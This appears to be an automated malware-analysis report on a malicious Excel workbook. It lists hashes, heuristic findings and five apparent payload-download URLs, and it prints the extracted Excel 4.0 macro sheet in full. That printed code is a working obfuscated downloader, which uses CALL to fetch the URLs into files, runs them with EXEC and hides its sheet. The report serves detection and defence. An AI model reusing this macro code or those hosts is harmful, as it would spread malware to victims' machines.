Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0f5ff2ad5515575c…

MALICIOUS

Office (OOXML)

82.4 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-04-25
MD5: 709f3110424fddfdb2e1a1a056be2c6c SHA-1: a4358f514dc9a7f2fa23257ff78b989ce5898be7 SHA-256: 0f5ff2ad5515575cd7d5577fdd18d2e5e1d4705e436f5585381a5498b585b2fa
182 Risk Score

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, HALT, CALL, WORKBOOK.HIDE critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://casadopai.net.br/drms/rocket.html In document text (OOXML body / shared strings)
    • https://ri.posgradocolumbia.edu.py/drms/rocket.htmlIn document text (OOXML body / shared strings)
    • https://useragent20.barloggio.net/drms/rocket.htmlIn document text (OOXML body / shared strings)
    • http://jerry-dibbert16ih.ru.com/rocket.htmlIn document text (OOXML body / shared strings)
    • http://alexandrea-friesen16ka.ru.com/rocket.htmlIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 7874 bytes
SHA-256: f6411b40fa24c3b7e16b9cd1541a957a9d0f995b53bd60683e4b476bedb75d67
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AJ3:BW136"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="39" width="4.28515625" style="5"/><col min="40" max="40" width="4.28515625" style="5" customWidth="1"/><col min="41" max="49" width="4.28515625" style="5" hidden="1" customWidth="1"/><col min="50" max="16384" width="4.28515625" style="5"/></cols><sheetData><row r="3" spans="41:49" x14ac:dyDescent="0.25"><c r="AQ3" s="5" t="s"><v>0</v></c><c r="AR3" s="5" t="s"><v>1</v></c><c r="AS3" s="5" t="s"><v>2</v></c><c r="AT3" s="5" t="s"><v>3</v></c><c r="AW3" s="5" t="str"><f>CHAR(85)</f><v>U</v></c></row><row r="4" spans="41:49" x14ac:dyDescent="0.25"><c r="AQ4" s="5" t="s"><v>4</v></c><c r="AR4" s="5" t="s"><v>5</v></c><c r="AS4" s="5" t="s"><v>6</v></c><c r="AT4" s="5" t="s"><v>3</v></c><c r="AW4" s="5" t="s"><v>6</v></c></row><row r="5" spans="41:49" x14ac:dyDescent="0.25"><c r="AQ5" s="5" t="s"><v>7</v></c><c r="AR5" s="5" t="s"><v>8</v></c><c r="AS5" s="5" t="s"><v>9</v></c><c r="AT5" s="5" t="s"><v>10</v></c><c r="AW5" s="5" t="s"><v>9</v></c></row><row r="6" spans="41:49" x14ac:dyDescent="0.25"><c r="AQ6" s="5" t="s"><v>11</v></c><c r="AR6" s="5" t="s"><v>12</v></c><c r="AS6" s="5" t="s"><v>5</v></c><c r="AT6" s="5" t="s"><v>10</v></c><c r="AW6" s="5" t="s"><v>13</v></c></row><row r="7" spans="41:49" x14ac:dyDescent="0.25"><c r="AQ7" s="5" t="s"><v>12</v></c><c r="AR7" s="5" t="s"><v>6</v></c><c r="AS7" s="5" t="s"><v>14</v></c><c r="AT7" s="5" t="s"><v>15</v></c><c r="AW7" s="5" t="s"><v>14</v></c></row><row r="8" spans="41:49" x14ac:dyDescent="0.25"><c r="AQ8" s="5" t="s"><v>12</v></c><c r="AR8" s="5" t="s"><v>16</v></c><c r="AS8" s="5" t="s"><v>17</v></c><c r="AT8" s="5" t="s"><v>15</v></c></row><row r="9" spans="41:49" x14ac:dyDescent="0.25"><c r="AQ9" s="5"><v>3</v></c><c r="AR9" s="5" t="s"><v>18</v></c><c r="AS9" s="5" t="s"><v>7</v></c></row><row r="10" spans="41:49" x14ac:dyDescent="0.25"><c r="AR10" s="5" t="s"><v>19</v></c><c r="AS10" s="5" t="s"><v>12</v></c></row><row r="11" spans="41:49" x14ac:dyDescent="0.25"><c r="AR11" s="5" t="s"><v>20</v></c><c r="AS11" s="5" t="s"><v>14</v></c></row><row r="12" spans="41:49" x14ac:dyDescent="0.25"><c r="AR12" s="5" t="s"><v>21</v></c><c r="AS12" s="5" t="s"><v>22</v></c></row><row r="13" spans="41:49" x14ac:dyDescent="0.25"><c r="AR13" s="5" t="s"><v>16</v></c><c r="AS13" s="5" t="s"><v>11</v></c><c r="AT13" s="5"><v>0</v></c></row><row r="14" spans="41:49" x14ac:dyDescent="0.25"><c r="AR14" s="5" t="s"><v>0</v></c><c r="AS14" s="5" t="s"><v>23</v></c></row><row r="15" spans="41:49" x14ac:dyDescent="0.25"><c r="AR15" s="5" t="s"><v>24</v></c><c r="AS15" s="5" t="s"><v>14</v></c></row><row r="16" spans="41:49" x14ac:dyDescent="0.25"><c r="AO16" s="5"><f>EXEC(Sheet1!AM34&amp;"..\ghnrope.rue"&amp;"1"&amp;Sheet1!AM35)</f><v>33</v></c><c r="AR16" s="5" t="s"><v>25</v></c><c r="AS16" s="5" t="s"><v>26</v></c></row><row r="17" spans="41:49" x14ac:dyDescent="0.25"><c r="AO17" s="5"><f>EXEC(Sheet1!AM34&amp;"..\ghnrope.rue"&amp;"2"&amp;Sheet1!AM35)</f><v>33</v></c><c r="AR17" s="5" t="s"><v>27</v></c><c r="AS17" s="5" t="s"><v>19</v></c></row><row r="18" spans="41:49" x14ac:dyDescent="0.25"><c r="AO18" s="5"><f>EXEC(Sheet1!AM34&amp;"..\ghnrope.rue"&amp;"3"&amp;Sheet1!AM35)</f><v>33</v></c><c r="AS18" s="5" t="s"><v>12</v></c></row><row r="19" spans="41:49" x14ac:dyDescent="0.25"><c r="AO19" s="5" t="b"><f>EXEC(Sheet1!AM34&amp;"..\ghnrope.rue"&amp;"4"&amp;Sheet1!AM35)</f><v>0</v></c><c r="AS19" s="5" t="s"><v>16</v></c></row><row r="20" spans="41:49" x14ac:dyDescent="0.25"><c r="AO20" s="5" t="b"><f>EXEC(Sheet1!AM34&amp;"..\ghnrope.rue"&amp;"5"&amp;Sheet1!AM35)</f><v>0</v></c></row><row r="24" spans="41:49" x14ac:dyDescent="0.25"><c r="AW24" s="5" t="s"><v>28</v></c></row><row r="25" spans="41:49" x14ac:dyDescent="0.25"><c r="AR25" s="6"/><c r="AW25" s="5" t="s"><v>29</v></c></row><row r="26" spans="41:49" x14ac:dyDescent="0.25"><c r="AO26" s="5" t="b"><f>HALT()</f><v>1</v></c><c r="AR26" s="6"/><c r="AW26" s="5" t="s"><v>30</v></c></row><row r="27" spans="41:49" x14ac:dyDescent="0.25"><c r="AO27" s="6"/><c r="AR27" s="5" t="b"><f>CALL(Sheet1!AM31&amp;"n",Sheet1!AM32&amp;"A",Sheet1!AM30,Sheet1!AT13,AW24,"..\ghnrope.rue"&amp;"1",0,0)=CALL(Sheet1!AM31&amp;"n",Sheet1!AM32&amp;"A",Sheet1!AM30,Sheet1!AT13,AW25,"..\ghnrope.rue"&amp;"2",0,0)</f><v>1</v></c><c r="AW27" s="5" t="s"><v>31</v></c></row><row r="28" spans="41:49" x14ac:dyDescent="0.25"><c r="AW28" s="5" t="s"><v>32</v></c></row><row r="29" spans="41:49" x14ac:dyDescent="0.25"><c r="AR29" s="5" t="b"><f>WORKBOOK.HIDE("Sheet1",1)</f><v>0</v></c></row><row r="31" spans="41:49" x14ac:dyDescent="0.25"><c r="AR31" s="5" t="b"><f>CALL(Sheet1!AM31&amp;"n",Sheet1!AM32&amp;"A",Sheet1!AM30,Sheet1!AT13,AW26,"..\ghnrope.rue"&amp;"3",0,0)=CALL(Sheet1!AM31&amp;"n",Sheet1!AM32&amp;"A",Sheet1!AM30,Sheet1!AT13,AW27,"..\ghnrope.rue"&amp;"4",0,0)=CALL(Sheet1!AM31&amp;"n",Sheet1!AM32&amp;"A",Sheet1!AM30,Sheet1!AT13,AW28,"..\ghnrope.rue"&amp;"5",0,0)</f><v>0</v></c></row><row r="34" spans="36:44" x14ac:dyDescent="0.25"><c r="AO34" s="5" t="b"><f>SET.VALUE(AM30,AT3&amp;AT4&amp;AT5&amp;AT6&amp;AT7&amp;AT8)</f><v>1</v></c></row><row r="35" spans="36:44" x14ac:dyDescent="0.25"><c r="AO35" s="5" t="b"><f>SET.VALUE(AM31,AW3&amp;AW4&amp;AW5&amp;AW6&amp;AW7)</f><v>1</v></c></row><row r="36" spans="36:44" x14ac:dyDescent="0.25"><c r="AO36" s="5" t="b"><f>SET.VALUE(AM32,AS3&amp;AS4&amp;AS5&amp;AS6&amp;AS7&amp;AS8&amp;AS9&amp;AS10&amp;AS11&amp;AS12&amp;AS13&amp;AS14&amp;AS15&amp;AS16&amp;AS17&amp;AS18&amp;AS19)</f><v>1</v></c><c r="AR36" s="5" t="b"><f>AO16()</f><v>0</v></c></row><row r="39" spans="36:44" x14ac:dyDescent="0.25"><c r="AO39" s="5" t="b"><f>SET.VALUE(AM34,Sheet1!AQ3&amp;Sheet1!AQ4&amp;Sheet1!AQ5&amp;Sheet1!AQ6&amp;Sheet1!AQ7&amp;Sheet1!AQ8&amp;Sheet1!AQ9&amp;"2 ")</f><v>1</v></c></row><row r="40" spans="36:44" x14ac:dyDescent="0.25"><c r="AO40" s="5" t="b"><f>SET.VALUE(AM35,Sheet1!AR3&amp;Sheet1!AR4&amp;Sheet1!AR5&amp;Sheet1!AR7&amp;Sheet1!AR8&amp;Sheet1!AR9&amp;Sheet1!AR10&amp;Sheet1!AR11&amp;Sheet1!AR12&amp;Sheet1!AR13&amp;Sheet1!AR14&amp;Sheet1!AR15&amp;Sheet1!AR16&amp;Sheet1!AR17)</f><v>1</v></c></row><row r="44" spans="36:44" x14ac:dyDescent="0.25"><c r="AJ44" s="6"/></row><row r="45" spans="36:44" x14ac:dyDescent="0.25"><c r="AJ45" s="6"/></row><row r="46" spans="36:44" x14ac:dyDescent="0.25"><c r="AJ46" s="6"/></row><row r="47" spans="36:44" x14ac:dyDescent="0.25"><c r="AJ47" s="6"/><c r="AO47" s="5" t="b"><f>AR21()</f><v>0</v></c></row><row r="58" spans="41:41" x14ac:dyDescent="0.25"><c r="AO58" s="6"/></row><row r="59" spans="41:41" x14ac:dyDescent="0.25"><c r="AO59" s="6"/></row><row r="60" spans="41:41" x14ac:dyDescent="0.25"><c r="AO60" s="6"/></row><row r="66" spans="41:41" x14ac:dyDescent="0.25"><c r="AO66" s="6"/></row><row r="67" spans="41:41" x14ac:dyDescent="0.25"><c r="AO67" s="6"/></row><row r="68" spans="41:41" x14ac:dyDescent="0.25"><c r="AO68" s="6"/></row><row r="69" spans="41:41" x14ac:dyDescent="0.25"><c r="AO69" s="6"/></row><row r="136" spans="75:75" x14ac:dyDescent="0.25"><c r="BW136" s="6"/></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>